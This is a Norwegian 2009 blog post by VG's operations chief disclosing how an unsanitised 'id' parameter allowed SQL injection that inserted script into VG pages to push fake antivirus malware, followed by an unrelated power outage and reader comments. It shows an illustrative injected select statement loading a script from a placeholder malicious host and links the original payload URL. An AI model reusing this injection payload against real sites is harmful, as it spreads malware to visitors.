av Audun Ytterdal | mai 6, 2009  

Hacking av VG og Strømstans

I går var en dårlig dag på jobben. Som driftsjef i VG Multimedia er jeg vant til litt av hvert, men gårsdagen var spesiell.

Daquella manera, Creative Commons

Bilde: Daquella manera, Creative Commons

http://www.vg.no/teknologi/artikkel.php?artid=562816

http://img.nrk.no/nyheter/1.6595869

http://www.aftenposten.no/forbruker/digital/nyheter/data/article3060663.ece

http://www.idg.no/computerworld/article131980.ece

Jeg fikk en telefon fra Watchcom som hadde funnet ut at noen kreative individer der ute på internett
benyttet seg av en feil på siden http://www.vg.no/reise/reisebrev.php?id=1 til å lure folk via søk på google til å installere et antivirusprodukt som egentlig var et virus

Hvordan fungerte det egentlig?

Reisebrev-applikasjonen var dessverre ikke kvalitetssikret godt nok før vi la det ut julen 2007

Variablen “id” her ble brukt direkte i en sql-spørring uten å bli “vasket” først. (dvs å passe på at “id” kun er et tall og ikke noe annet)

Det resulterte i at koden forsøkte å kjøre en sql-spørring og putte inn hva enn du skrev bak id=

Her kommer kreativiteten inn. Det lot seg ikke gjøre å legge inn data in databasen, men det gav muligheten til litt kreativ selecting og få resultatet ut på siden.

Klikk her for å se den orginale URL’en (Kan trigge antivirussoftwaren din)

http://pastebin.com/f7f7a573b

(jeg måtte legge det ekstern, hvis ikke ville folk få virusvarsel fra triggerhappy antivirussoftware hver gang folk kom inn på meta.vgb.no)

Mysql oversetter variabler som begynner med 0x til string automatisk. Her er en  liten perlsnutt som gjør det samme:

$ echo 0x6672656520796fe756e67206769726c20706f726e |perl -lne 'print map {chr(hex($_))} /(..)/g'
free young girls porn

Så det er i praksis det samme som å si:

select 0,"free young girl porn",0,0,1,...."<script src="http://slemsite.com/slemtscript.php"></script>",0,1,.... from tabell"

Resultatet var at den første testsnutten ble vist på våre sider, og den andre som er javascript ble kjørt. Den lastet ned et slemt javascript fra en en ekstern site, som når det ble kjørt sendte deg til en annen ekstern.  Der ble du fortalt at du hadde virus og forsøkte ganske aggressivt å få deg til å installere et antivirusprodukt som egentlig selv var et virus.

Hvordan fikk de folk til å besøke denne siden?

I og med at denne javascriptkoden kun blir kjørt hvis du encoder den inn i URL’en, og aldri befant seg på noen av VG’s maskiner, måtte de ha en måte å få folk til å klikke på slike linker.

De de da gjorde var å legge ut slike linker på mange steder rundt på internett. Etterhvert plukket Google og andre søkemotorer opp disse URL’ene og man fikk plutselig muligheten til å gjøre søk av type “reisebrev brazil free young girl porn” og få opp treff på de slemme URL’ene.

Det var aldri på noe tidspunkt en lenke til disse på VG Netts egne sider.

Fikk noen virus på grunn av dette?

Jeg sjekket loggene for de 5 siste dagene og det har vært 331 besøk på en eller annen variant av disse slemme URL’en. Av disse er 260 googleindexering, resten er søk fra google samt en fra en webmailkonto. Det ser ut som det er 13 unike brukere som har besøkt en slik URL og det ser ut som alle har forsøkt å trigge feilen med vilje.

Så impacten har vært relativt liten. Jeg tror ikke noen har pådratt seg virus fra VG Nett uten å ha vært klar over problemet i utgangspunktet, eventuelt vært på jakt etter pornografiske reisebrev fra Brasil.

Var det et rettet angrep mot VG Nett?

Nei jeg tror ikke det. Jeg vil heller tro at de automatisterte angrepene som før gikk spesielt på exploits i kommersiell og open source kjent hyllevare nå er blitt så avanserte at de automatisk traverserer alle internettsider for å finne hull i alle applikasjon og modifiserer seg selv til å passe for hver enkelt site automatisk. Det blir skummelt fremover.

Hva gjør vi for at slikt ikke skal skje igjen?

Vi gått igjennom all kode av lignende slag, på jakt etter tilsvarende blemmer.  Vi retter fortløpende. Vi kommer også til å gå igjennom ny og gammel kode mye nøyere i fremtiden.

Trust no one!

Hva skjedde så tirsdags kveld? Var det relatert?

Tom T, Create Commons

Tom T, Creative Commons

Nei, men jeg skjønner hvorfor folk trodde det. Saken var at 20:45 så eksploderte strømforsyningen i en SUN Openstorage som vi har på testlån. Når den eksploderte slo den ut en av strømkursene på ett av serverrommene våre. På den strømkursen sto en gammel Alteon lastbalanserer som bare har en strømforsyning, og som egentlig ikke er i bruk til noe annet enn Tett på nett og noen andre småtjenester

Alt fungerte egentlig som forventet helt til en journalist brukte forsideverktøyet vårt til å publisere en ny forside. Verktøyet klarte ikke snakke med disse perifere tjenestene, men istedenfor å takle det som forventet lagret den isteden innloggingsboksen sin som innhold, for deretter å gå helt i stå.

Det gikk en stund før vi fikk verkøyet til å oppføre seg, og innen vi hadde en fix på plass så hadde vi fått opp den gamle lastbalansereren og ting oppførte seg normalt igjen

Mens ting ikke fungerte så la jeg ut oppdatertinger direkte på forsiden med vim i hui og hast. Men dessverre kom det litt encodingfeil (utf-8 vs iso-8859-1) slik at det nok så litt skummelt ut for noen.

Så hvordan var egentlig dagen?

Mens ting var nede i går glødet telefonen min. Journalister fra konkurrenrende media var på meg kontinuerlig. En svært stresset redaksjon måtte holdes underrettet. De ringte fra NRK Nett, NRK Radio, Aftenposten, Computerwold og alskes andre steder og ville vite mest mulig. NRK TV ville inn i Akersgata og filme hackerangrepet innenifra, og ville koble hackerangrepet med strømbruddet. Det har vært lærerikt å være i enden av en slik storm.

Tips oss hvis dette innlegget er upassende

Oisann, det er betryggende å vite at det kunne gått mye verre, men bare i ettertid… Takk for grundig info :)

Tips oss hvis denne kommentaren er upassende

Har lest et par artikler og et par blogger rundt om, om dette idag.

Kjempegreit med åpenhet og info fra dere, via denne bloggen.

Tips oss hvis denne kommentaren er upassende

Finnes ikke noe mer spennende plass å jobbe enn på internett :)
Bra dere fikk styr på sidene igjen, var mange som satt å småflirte rundt på diverse nettverk, mens dere jobbet så svetten rant!
Good work :)

Tips oss hvis denne kommentaren er upassende

Mediebransjen konvergerer, og jeg merker meg en undertone av irritasjon over at ens egen bransje vil forme nyheten til det som måtte selge best :) Eksplosjon og hacker i samme setning er bra saker.

Ellers: veldig intressant med litt tekniske detaljer. Keep it up!

Tips oss hvis denne kommentaren er upassende

Veldig interessant artikkel, og i tillegg må jeg si at dere gjorde en god jobb.
Håper andre i bransjen og ellers i den kommersielle verden følger med og ser at åpenhet ikke nødvendigvis bare er negativt!

Keep up the good work!

Tips oss hvis denne kommentaren er upassende

Dere kjører php og mysql, da antar jeg at programmererne deres også bruker mye mysql_real_escape_string() for å unngå sql injections.

Det er sikkert greit det – bare at man må huske på å bruke det.

Hvorfor bruker dere ikke prepared statemens?Nå er det websider med java/oracle som er min hverdag. Men i php så kan man benytte zend framework sin Zend_Db_Statement til å lage prepared statements, eller så har PEAR et par løsninger.

Om man lærer seg å kun bruke prepared statements, så løser problemet mye av seg selv. Skal man forholde seg til mysql_real_escape_string() så har man muligheten for å ikke bruke den. Og i noen tilfeller er den unødvendig, og det kan bli lett å glemme.

Det vil jo også være lettere å piske nye utviklere til kun bruke prepared statements, enn å piske dem til å bruke mysql_real_escape_string() hver gang man har input parametere.

Bare en tanke.

Tips oss hvis denne kommentaren er upassende

Det var ikke nisselue sin skyld.

Tips oss hvis denne kommentaren er upassende

Takk for både nyttig og velkommen info.

Tips oss hvis denne kommentaren er upassende

godt med grundig informasjon! Tusen takk! :)

Men NÅ, nå ser det ut til å være i orden igjen?

Tips oss hvis denne kommentaren er upassende

Veldig interessant artikkel! Sikkert deilig å få denne shit-stormen fra andre media midt i stresset…

Sql injection suger hårdt ja…

Tips oss hvis denne kommentaren er upassende

Hmpf. Det ser ut som det at jeg har nevnt de slemme URL’ene utløser virusalam hos flere antivirus-programmer. Må finne på noe lurt

Tips oss hvis denne kommentaren er upassende

Publiserte aftenposten saken først etter at dere hadde tettet hullet?
Hvis du vil publisere de slemme URLene, kan du legge dem inn som bilder.

Tips oss hvis denne kommentaren er upassende

Kudos for åpenhet forresten!

Tips oss hvis denne kommentaren er upassende

Kategorier

Tips oss hvis denne bloggen er upassende

Denne bloggen blir ikke forhåndsredigert av VG Nett. Bloggens eier står ansvarlig for alt innhold.
Ingenting varer evig og nå er vi dessverre ved veis ende. VGB er lagt ned og vil ikke komme tilbake.
VG Blogg var en tjeneste levert av VG Multimedia AS. Henvendelser rettes til: Magne Antonsen
Ansvarlig redaktør/Administrerende direktør: Torry Pedersen
Redaktør digitalt Espen Egil Hansen. Redaktør avis: Helje Solberg. Politisk redaktør Hanne Skartveit
Digital direktør: Jo Christian Oterhals. Sentralbord VG: 22 00 00 00